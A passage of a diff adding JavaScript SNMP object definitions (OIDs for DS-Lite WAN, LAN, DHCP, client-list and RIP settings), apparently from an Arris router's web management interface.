Scalar("DSLiteWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.18.1",2); +DSLiteWanObjects.DSLiteWanLSNATAddrType= new Scalar("DSLiteWanLSNATAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.18.2",2); +DSLiteWanObjects.DSLiteWanLSNATAddr= new Scalar("DSLiteWanLSNATAddr","1.3.6.1.4.1.4115.1.20.1.1.1.18.3",4, 1); +var arDSLiteWanEnable=DSLiteWanObjects.DSLiteWanEnable; +var arDSLiteWanLSNATAddrType=DSLiteWanObjects.DSLiteWanLSNATAddrType; +var arDSLiteWanLSNATAddr=DSLiteWanObjects.DSLiteWanLSNATAddr; + + + +var LanConfig = new Container("LanConfig", "1.3.6.1.4.1.4115.1.20.1.1.2"); +LanConfig.LanCount= new Scalar("LanCount","1.3.6.1.4.1.4115.1.20.1.1.2.1",66); +LanConfig.LanSettings= new Scalar("LanSettings","1.3.6.1.4.1.4115.1.20.1.1.2.6",2); +var arLanCount=LanConfig.LanCount; +var arLanSettings=LanConfig.LanSettings; + +var LanSrvTable = new Table("LanSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.2.2"); +LanSrvTable.LanName = new Column("LanName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.1",4); +LanSrvTable.LanSubnetMaskType = new Column("LanSubnetMaskType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.2",2); +LanSrvTable.LanSubnetMask = new Column("LanSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3",4, 1); +LanSrvTable.LanGatewayIpType = new Column("LanGatewayIpType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.4",2); +LanSrvTable.LanGatewayIp = new Column("LanGatewayIp","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5",4, 1); +LanSrvTable.LanGatewayIp2Type = new Column("LanGatewayIp2Type","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.6",2); +LanSrvTable.LanGatewayIp2 = new Column("LanGatewayIp2","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.7",4, 1); +LanSrvTable.LanVLanID = new Column("LanVLanID","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.8",66); +LanSrvTable.LanUseDHCP = new Column("LanUseDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.9",2); +LanSrvTable.LanStartDHCPType = new Column("LanStartDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.10",2); +LanSrvTable.LanStartDHCP = new Column("LanStartDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.11",4, 1); +LanSrvTable.LanEndDHCPType = new Column("LanEndDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.12",2); +LanSrvTable.LanEndDHCP = new Column("LanEndDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.13",4, 1); +LanSrvTable.LanLeaseTime = new Column("LanLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.14",66); +LanSrvTable.LanDomainName = new Column("LanDomainName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.15",4, 1); +LanSrvTable.LanRateLimit = new Column("LanRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.16",2); +LanSrvTable.LanDownRateLimit = new Column("LanDownRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.17",66); +LanSrvTable.LanUpRateLimit = new Column("LanUpRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.18",66); +LanSrvTable.LanRelayDNS = new Column("LanRelayDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.19",2); +LanSrvTable.LanIPv6Mode = new Column("LanIPv6Mode","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.20",2); +LanSrvTable.LanPassThru = new Column("LanPassThru","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.21",2); +LanSrvTable.LanFirewallOn = new Column("LanFirewallOn","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.22",2); +LanSrvTable.LanUPnPEnable = new Column("LanUPnPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.23",2); +LanSrvTable.LanCPEAging = new Column("LanCPEAging","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.24",2); +LanSrvTable.LanOverrideDNS = new Column("LanOverrideDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.25",2); +LanSrvTable.LanNatAlgsEnabled = new Column("LanNatAlgsEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.26",4, 1); +LanSrvTable.LanMappedInterface = new Column("LanMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.27",66); +LanSrvTable.LanEnvironmentControl = new Column("LanEnvironmentControl","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.28",2); +LanSrvTable.LanPrefixLengthV6 = new Column("LanPrefixLengthV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.29",66); +LanSrvTable.LanUseDHCPV6 = new Column("LanUseDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.30",2); +LanSrvTable.LanStartDHCPV6 = new Column("LanStartDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.31",4, 1); +LanSrvTable.LanEndDHCPV6 = new Column("LanEndDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.32",4, 1); +LanSrvTable.LanLeaseTimeV6 = new Column("LanLeaseTimeV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.33",66); +LanSrvTable.LanLinkLocalAddressV6 = new Column("LanLinkLocalAddressV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.34",4, 1); +LanSrvTable.LanDNSRelayV6 = new Column("LanDNSRelayV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.35",2); +LanSrvTable.LanDNSOverrideV6 = new Column("LanDNSOverrideV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.36",2); +LanSrvTable.LanRouterAdminBridgeOptionDisplay = new Column("LanRouterAdminBridgeOptionDisplay","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.38",2); + +// scm start +//LanSrvTable.LanQosEnable = new Column("LanQosEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.46",2); +// scm end +var arLanName=LanSrvTable.LanName; +var arLanSubnetMaskType=LanSrvTable.LanSubnetMaskType; +var arLanSubnetMask=LanSrvTable.LanSubnetMask; +var arLanGatewayIpType=LanSrvTable.LanGatewayIpType; +var arLanGatewayIp=LanSrvTable.LanGatewayIp; +var arLanGatewayIp2Type=LanSrvTable.LanGatewayIp2Type; +var arLanGatewayIp2=LanSrvTable.LanGatewayIp2; +var arLanVLanID=LanSrvTable.LanVLanID; +var arLanUseDHCP=LanSrvTable.LanUseDHCP; +var arLanStartDHCPType=LanSrvTable.LanStartDHCPType; +var arLanStartDHCP=LanSrvTable.LanStartDHCP; +var arLanEndDHCPType=LanSrvTable.LanEndDHCPType; +var arLanEndDHCP=LanSrvTable.LanEndDHCP; +var arLanLeaseTime=LanSrvTable.LanLeaseTime; +var arLanDomainName=LanSrvTable.LanDomainName; +var arLanRateLimit=LanSrvTable.LanRateLimit; +var arLanDownRateLimit=LanSrvTable.LanDownRateLimit; +var arLanUpRateLimit=LanSrvTable.LanUpRateLimit; +var arLanRelayDNS=LanSrvTable.LanRelayDNS; +var arLanIPv6Mode=LanSrvTable.LanIPv6Mode; +var arLanPassThru=LanSrvTable.LanPassThru; +var arLanFirewallOn=LanSrvTable.LanFirewallOn; +var arLanUPnPEnable=LanSrvTable.LanUPnPEnable; +var arLanCPEAging=LanSrvTable.LanCPEAging; +var arLanOverrideDNS=LanSrvTable.LanOverrideDNS; +var arLanNatAlgsEnabled=LanSrvTable.LanNatAlgsEnabled; +var arLanMappedInterface=LanSrvTable.LanMappedInterface; +var arLanEnvironmentControl=LanSrvTable.LanEnvironmentControl; +var arLanPrefixLengthV6=LanSrvTable.LanPrefixLengthV6; +var arLanUseDHCPV6=LanSrvTable.LanUseDHCPV6; +var arLanStartDHCPV6=LanSrvTable.LanStartDHCPV6; +var arLanEndDHCPV6=LanSrvTable.LanEndDHCPV6; +var arLanLeaseTimeV6=LanSrvTable.LanLeaseTimeV6; +var arLanLinkLocalAddressV6=LanSrvTable.LanLinkLocalAddressV6; +var arLanDNSRelayV6=LanSrvTable.LanDNSRelayV6; +var arLanDNSOverrideV6=LanSrvTable.LanDNSOverrideV6; +//var arLanQosEnable=LanSrvTable.LanQosEnable;//added +var arLanRouterAdminBridgeOptionDisplay=LanSrvTable.LanRouterAdminBridgeOptionDisplay; + +var arrisRouterLanSrvDiscoveryObjs = new Container("arrisRouterLanSrvDiscoveryObjs", "1.3.6.1.4.1.4115.1.20.1.1.2.7"); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime= new Scalar("arrisRouterLanUPnPAdvTime","1.3.6.1.4.1.4115.1.20.1.1.2.7.1", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl= new Scalar("arrisRouterLanUPnPTtl","1.3.6.1.4.1.4115.1.20.1.1.2.7.2", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf= new Scalar("arrisRouterLanZeroConf","1.3.6.1.4.1.4115.1.20.1.1.2.7.3", 2); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP= new Scalar("arrisRouterLanQosUPnP","1.3.6.1.4.1.4115.1.20.1.1.2.7.4", 2); +var arLanUPnPAdvTime=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime; +var arLanUPnPTtl=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl; +var arLanZeroConf=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf; +var arLanQosUPnP=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP; + + +var LanDNSTable = new Table("LanDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.2.3"); +LanDNSTable.LanDNSIdx = new Column("LanDNSIdx","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.1",66); +LanDNSTable.LanDNSIPAddrType = new Column("LanDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.2",2); +LanDNSTable.LanDNSIPAddr = new Column("LanDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.3",4, 1); +LanDNSTable.LanDNSRowStatus = new Column("LanDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.4",2); +var arLanDNSIdx=LanDNSTable.LanDNSIdx; +var arLanDNSIPAddrType=LanDNSTable.LanDNSIPAddrType; +var arLanDNSIPAddr=LanDNSTable.LanDNSIPAddr; +var arLanDNSRowStatus=LanDNSTable.LanDNSRowStatus; + +var CmDoc30DhcpLeaseParameters = new Container("CmDoc30DhcpLeaseParameters","1.3.6.1.4.1.4115.1.3.4.1.4.1"); +CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining = new Scalar("DhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.4.1.4.1.4",2); +var arDhcpLeaseTimeRemaining = CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining; +CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime = new Scalar("DhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.4.1.4.1.1",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew = new Scalar("DhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.4.1.4.1.2",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind = new Scalar("DhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.4.1.4.1.3",2); +var arDhcpOfferedLeaseTime = CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime; +var arDhcpTimeUntilRenew = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew; +var arDhcpTimeUntilRebind = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind; + +var ClientObjects = new Container("ClientObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.4"); +ClientObjects.LanClientCount= new Scalar("LanClientCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.1",66); +ClientObjects.LanCustomCount= new Scalar("LanCustomCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.4",66); +var arLanClientCount=ClientObjects.LanClientCount; +var arLanCustomCount=ClientObjects.LanCustomCount; + +var LanClientTable = new Table("LanClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2"); +LanClientTable.LanClientIPAddrType = new Column("LanClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.1",2); +LanClientTable.LanClientIPAddr = new Column("LanClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.2",4, 1); +LanClientTable.LanClientHostName = new Column("LanClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.3",4); +LanClientTable.LanClientMAC = new Column("LanClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.4",4, 1); +LanClientTable.LanClientMACMfg = new Column("LanClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.5",4); +LanClientTable.LanClientAdapterType = new Column("LanClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.6",2); +LanClientTable.LanClientType = new Column("LanClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.7",2); +LanClientTable.LanClientLeaseStart = new Column("LanClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.8",4, 1); +LanClientTable.LanClientLeaseEnd = new Column("LanClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.9",4, 1); +LanClientTable.LanClientStatus = new Column("LanClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.10",2); +LanClientTable.LanClientInfLease = new Column("LanClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.11",2); +LanClientTable.LanClientLeaseState = new Column("LanClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.12",2); +LanClientTable.LanClientRowStatus = new Column("LanClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.13",2); +LanClientTable.LanClientOnline = new Column("LanClientOnline","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.14",2); +LanClientTable.LanClientComment = new Column("LanClientComment","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.15",4); +LanClientTable.LanClientCustom = new Column("LanClientCustom","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.16",2); +// scm start +LanClientTable.LanClientDeviceName = new Column("LanClientDeviceName", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.20", 2); +LanClientTable.LanClientRSSI = new Column("LanClientRSSI", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.21", 2); +LanClientTable.LanClientLinkLocalAddr= new Column("LanClientLinkLocalAddr", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.23", 4); + +// scm end +var arLanClientIPAddrType=LanClientTable.LanClientIPAddrType; +var arLanClientIPAddr=LanClientTable.LanClientIPAddr; +var arLanClientHostName=LanClientTable.LanClientHostName; +var arLanClientMAC=LanClientTable.LanClientMAC; +var arLanClientMACMfg=LanClientTable.LanClientMACMfg; +var arLanClientAdapterType=LanClientTable.LanClientAdapterType; +var arLanClientType=LanClientTable.LanClientType; +var arLanClientLeaseStart=LanClientTable.LanClientLeaseStart; +var arLanClientLeaseEnd=LanClientTable.LanClientLeaseEnd; +var arLanClientStatus=LanClientTable.LanClientStatus; +var arLanClientInfLease=LanClientTable.LanClientInfLease; +var arLanClientLeaseState=LanClientTable.LanClientLeaseState; +var arLanClientRowStatus=LanClientTable.LanClientRowStatus; +var arLanClientOnline=LanClientTable.LanClientOnline; +var arLanClientComment=LanClientTable.LanClientComment; +var arLanClientCustom=LanClientTable.LanClientCustom; +// scm add +var arLanClientDeviceName = LanClientTable.LanClientDeviceName; +var arLanClientRSSI = LanClientTable.LanClientRSSI; +var arLanClientLinkLocalAddr = LanClientTable.LanClientLinkLocalAddr; + + + + +var DeviceUpDownTable = new Table("DeviceUpDownTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.3"); +DeviceUpDownTable.DeviceUpDownIndex = new Column("DeviceUpDownIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.1",2); +DeviceUpDownTable.DeviceUpDownMAC = new Column("DeviceUpDownMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.2",4, 1); +DeviceUpDownTable.DeviceUpDownIPType = new Column("DeviceUpDownIPType","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.3",2); +DeviceUpDownTable.DeviceUpDownIPAddr = new Column("DeviceUpDownIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.4",4, 1); +DeviceUpDownTable.DeviceUpDownStart = new Column("DeviceUpDownStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.5",4, 1); +DeviceUpDownTable.DeviceUpDownEnd = new Column("DeviceUpDownEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.6",4, 1); +DeviceUpDownTable.DeviceUpDownStatus = new Column("DeviceUpDownStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.7",2); +var arDeviceUpDownIndex=DeviceUpDownTable.DeviceUpDownIndex; +var arDeviceUpDownMAC=DeviceUpDownTable.DeviceUpDownMAC; +var arDeviceUpDownIPType=DeviceUpDownTable.DeviceUpDownIPType; +var arDeviceUpDownIPAddr=DeviceUpDownTable.DeviceUpDownIPAddr; +var arDeviceUpDownStart=DeviceUpDownTable.DeviceUpDownStart; +var arDeviceUpDownEnd=DeviceUpDownTable.DeviceUpDownEnd; +var arDeviceUpDownStatus=DeviceUpDownTable.DeviceUpDownStatus; + +var LanCustomTable = new Table("LanCustomTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.5"); +LanCustomTable.LanCustomIdx = new Column("LanCustomIdx","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.1",66); +LanCustomTable.LanCustomMAC = new Column("LanCustomMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.2",4, 1); +LanCustomTable.LanCustomIPAddrType = new Column("LanCustomIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.3",2); +LanCustomTable.LanCustomIPAddr = new Column("LanCustomIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.4",4, 1); +LanCustomTable.LanCustomFriendName = new Column("LanCustomFriendName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.5",4); +LanCustomTable.LanCustomHostName = new Column("LanCustomHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.6",4); +LanCustomTable.LanCustomMACMfg = new Column("LanCustomMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.7",4); +LanCustomTable.LanCustomComments = new Column("LanCustomComments","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.8",4); +LanCustomTable.LanCustomRowStatus = new Column("LanCustomRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.9",2); +var arLanCustomIdx=LanCustomTable.LanCustomIdx; +var arLanCustomMAC=LanCustomTable.LanCustomMAC; +var arLanCustomIPAddrType=LanCustomTable.LanCustomIPAddrType; +var arLanCustomIPAddr=LanCustomTable.LanCustomIPAddr; +var arLanCustomFriendName=LanCustomTable.LanCustomFriendName; +var arLanCustomHostName=LanCustomTable.LanCustomHostName; +var arLanCustomMACMfg=LanCustomTable.LanCustomMACMfg; +var arLanCustomComments=LanCustomTable.LanCustomComments; +var arLanCustomRowStatus=LanCustomTable.LanCustomRowStatus; + +var LanCurrentClientTable = new Table("LanCurrentClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.6"); +LanCurrentClientTable.LanCurrentClientIndex = new Column("LanCurrentClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.1",2); +LanCurrentClientTable.LanCurrentClientIPAddrType = new Column("LanCurrentClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.2",2); +LanCurrentClientTable.LanCurrentClientIPAddr = new Column("LanCurrentClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.3",4, 1); +LanCurrentClientTable.LanCurrentClientIPAddrTextual = new Column("LanCurrentClientIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.4",4); +LanCurrentClientTable.LanCurrentClientHostName = new Column("LanCurrentClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.5",4); +LanCurrentClientTable.LanCurrentClientMAC = new Column("LanCurrentClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.6",4, 1); +LanCurrentClientTable.LanCurrentClientMACMfg = new Column("LanCurrentClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.7",4); +LanCurrentClientTable.LanCurrentClientAdapterType = new Column("LanCurrentClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.8",2); +LanCurrentClientTable.LanCurrentClientType = new Column("LanCurrentClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.9",2); +LanCurrentClientTable.LanCurrentClientLeaseStart = new Column("LanCurrentClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.10",4, 1); +LanCurrentClientTable.LanCurrentClientLeaseEnd = new Column("LanCurrentClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.11",4, 1); +LanCurrentClientTable.LanCurrentClientStatus = new Column("LanCurrentClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.12",2); +LanCurrentClientTable.LanCurrentClientInfLease = new Column("LanCurrentClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.13",2); +LanCurrentClientTable.LanCurrentClientLeaseState = new Column("LanCurrentClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.14",2); +LanCurrentClientTable.LanCurrentClientFirstSeen = new Column("LanCurrentClientFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.15",4, 1); +LanCurrentClientTable.LanCurrentClientLastSeen = new Column("LanCurrentClientLastSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.16",4, 1); +LanCurrentClientTable.LanCurrentClientConnectionInfo = new Column("LanCurrentClientConnectionInfo","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.17",4); +LanCurrentClientTable.LanCurrentClientLeaseTime = new Column("LanCurrentClientLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.18",2); +var arLanCurrentClientIndex=LanCurrentClientTable.LanCurrentClientIndex; +var arLanCurrentClientIPAddrType=LanCurrentClientTable.LanCurrentClientIPAddrType; +var arLanCurrentClientIPAddr=LanCurrentClientTable.LanCurrentClientIPAddr; +var arLanCurrentClientIPAddrTextual=LanCurrentClientTable.LanCurrentClientIPAddrTextual; +var arLanCurrentClientHostName=LanCurrentClientTable.LanCurrentClientHostName; +var arLanCurrentClientMAC=LanCurrentClientTable.LanCurrentClientMAC; +var arLanCurrentClientMACMfg=LanCurrentClientTable.LanCurrentClientMACMfg; +var arLanCurrentClientAdapterType=LanCurrentClientTable.LanCurrentClientAdapterType; +var arLanCurrentClientType=LanCurrentClientTable.LanCurrentClientType; +var arLanCurrentClientLeaseStart=LanCurrentClientTable.LanCurrentClientLeaseStart; +var arLanCurrentClientLeaseEnd=LanCurrentClientTable.LanCurrentClientLeaseEnd; +var arLanCurrentClientStatus=LanCurrentClientTable.LanCurrentClientStatus; +var arLanCurrentClientInfLease=LanCurrentClientTable.LanCurrentClientInfLease; +var arLanCurrentClientLeaseState=LanCurrentClientTable.LanCurrentClientLeaseState; +var arLanCurrentClientFirstSeen=LanCurrentClientTable.LanCurrentClientFirstSeen; +var arLanCurrentClientLastSeen=LanCurrentClientTable.LanCurrentClientLastSeen; +var arLanCurrentClientConnectionInfo=LanCurrentClientTable.LanCurrentClientConnectionInfo; +var arLanCurrentClientLeaseTime=LanCurrentClientTable.LanCurrentClientLeaseTime; + +var LanStaticClientTable = new Table("LanStaticClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.7"); +LanStaticClientTable.LanStaticClientIndex = new Column("LanStaticClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.1",2); +LanStaticClientTable.LanStaticClientIPAddrType = new Column("LanStaticClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.2",2); +LanStaticClientTable.LanStaticClientIPAddr = new Column("LanStaticClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.3",4, 1); +LanStaticClientTable.LanStaticClientHostName = new Column("LanStaticClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.4",4); +LanStaticClientTable.LanStaticClientMAC = new Column("LanStaticClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.5",4, 1); +LanStaticClientTable.LanStaticClientRowStatus = new Column("LanStaticClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.6",2); +var arLanStaticClientIndex=LanStaticClientTable.LanStaticClientIndex; +var arLanStaticClientIPAddrType=LanStaticClientTable.LanStaticClientIPAddrType; +var arLanStaticClientIPAddr=LanStaticClientTable.LanStaticClientIPAddr; +var arLanStaticClientHostName=LanStaticClientTable.LanStaticClientHostName; +var arLanStaticClientMAC=LanStaticClientTable.LanStaticClientMAC; +var arLanStaticClientRowStatus=LanStaticClientTable.LanStaticClientRowStatus; + +var RIPObjects = new Container("RIPObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.5"); +RIPObjects.RIPEnable= new Scalar("RIPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.1",2); +RIPObjects.RIPAuthEnable= new Scalar("RIPAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.2",2); +RIPObjects.RIPReportTime= new Scalar("RIPReportTime","1.3.6.1.4.1.4115.1.20.1.1.2.5.3",66); +RIPObjects.RIPAuthKeyString= new Scalar("RIPAuthKeyString","1.3.6.1.4.1.4115.1.20.1.1.2.5.4",4); +RIPObjects.RIPAuthKeyID= new Scalar("RIPAuthKeyID","1.3.6.1.4.1.4115.1.20.1.1.2.5.5",2); +RIPObjects.RIPIPAddrType= new Scalar("RIPIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.5.6",2); +RIPObjects.RIPIPAddr= new Scalar("RIPIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.5.7",4, 1); +RIPObjects.RIPPrefixLen= new Scalar("RIPPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.2.5.8",66); +RIPObjects.RIPAuthKeyChain= new Scalar("RIPAuthKeyChain","1.3.6.1.4.1.4115.1.20.1.1.2.5.9",4); +RIPObjects.RIPRoutedSubnetIPType= new Scalar("RIPRoutedSubnetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.10",2); +RIPObjects.RIPRoutedSubnetIP= new Scalar("RIPRoutedSubnetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.11",4, 1); +RIPObjects.RIPRoutedSubnetGWNetIPType= new Scalar("RIPRoutedSubnetGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.12",2); +RIPObjects.RIPRoutedSubnetGWNetIP= new Scalar("RIPRoutedSubnetGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.13",4, 1); +RIPObjects.RIPRoutedSubnetMask= new Scalar("RIPRoutedSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.14",4, 1); +RIPObjects.RIPRoutedSubnetEnabled= new Scalar("RIPRoutedSubnetEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.15",2); +RIPObjects.RIPSendCMInterface= new Scalar("RIPSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.16",2); +RIPObjects.RIPRoutedSubnetDHCP= new Scalar("RIPRoutedSubnetDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.17",2); +RIPObjects.RIPRoutedSubnetNAT= new Scalar("RIPRoutedSubnetNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.18",2); +// scm { +RIPObjects.RIPInterface= new Scalar("RIPInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +RIPObjects.RIPSendVersion= new Scalar("RIPSendVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.20",4); +RIPObjects.RIPRecvVersion= new Scalar("RIPRecvVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.21",2); +RIPObjects.RIPDefaultMetric= new Scalar("RIPDefaultMetric","1.3.6.1.4.1.4115.1.20.1.1.2.5.22",2); + RIPObjects.RIPNeighbor= new Scalar("RIPNeighbor","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +// scm { +var arRIPEnable=RIPObjects.RIPEnable; +var arRIPAuthEnable=RIPObjects.RIPAuthEnable; +var arRIPReportTime=RIPObjects.RIPReportTime; +var arRIPAuthKeyString=RIPObjects.RIPAuthKeyString; +var arRIPAuthKeyID=RIPObjects.RIPAuthKeyID; +var arRIPIPAddrType=RIPObjects.RIPIPAddrType; +var arRIPIPAddr=RIPObjects.RIPIPAddr; +var arRIPPrefixLen=RIPObjects.RIPPrefixLen; +var arRIPAuthKeyChain=RIPObjects.RIPAuthKeyChain; +var arRIPRoutedSubnetIPType=RIPObjects.RIPRoutedSubnetIPType; +var arRIPRoutedSubnetIP=RIPObjects.RIPRoutedSubnetIP; +var arRIPRoutedSubnetGWNetIPType=RIPObjects.RIPRoutedSubnetGWNetIPType; +var 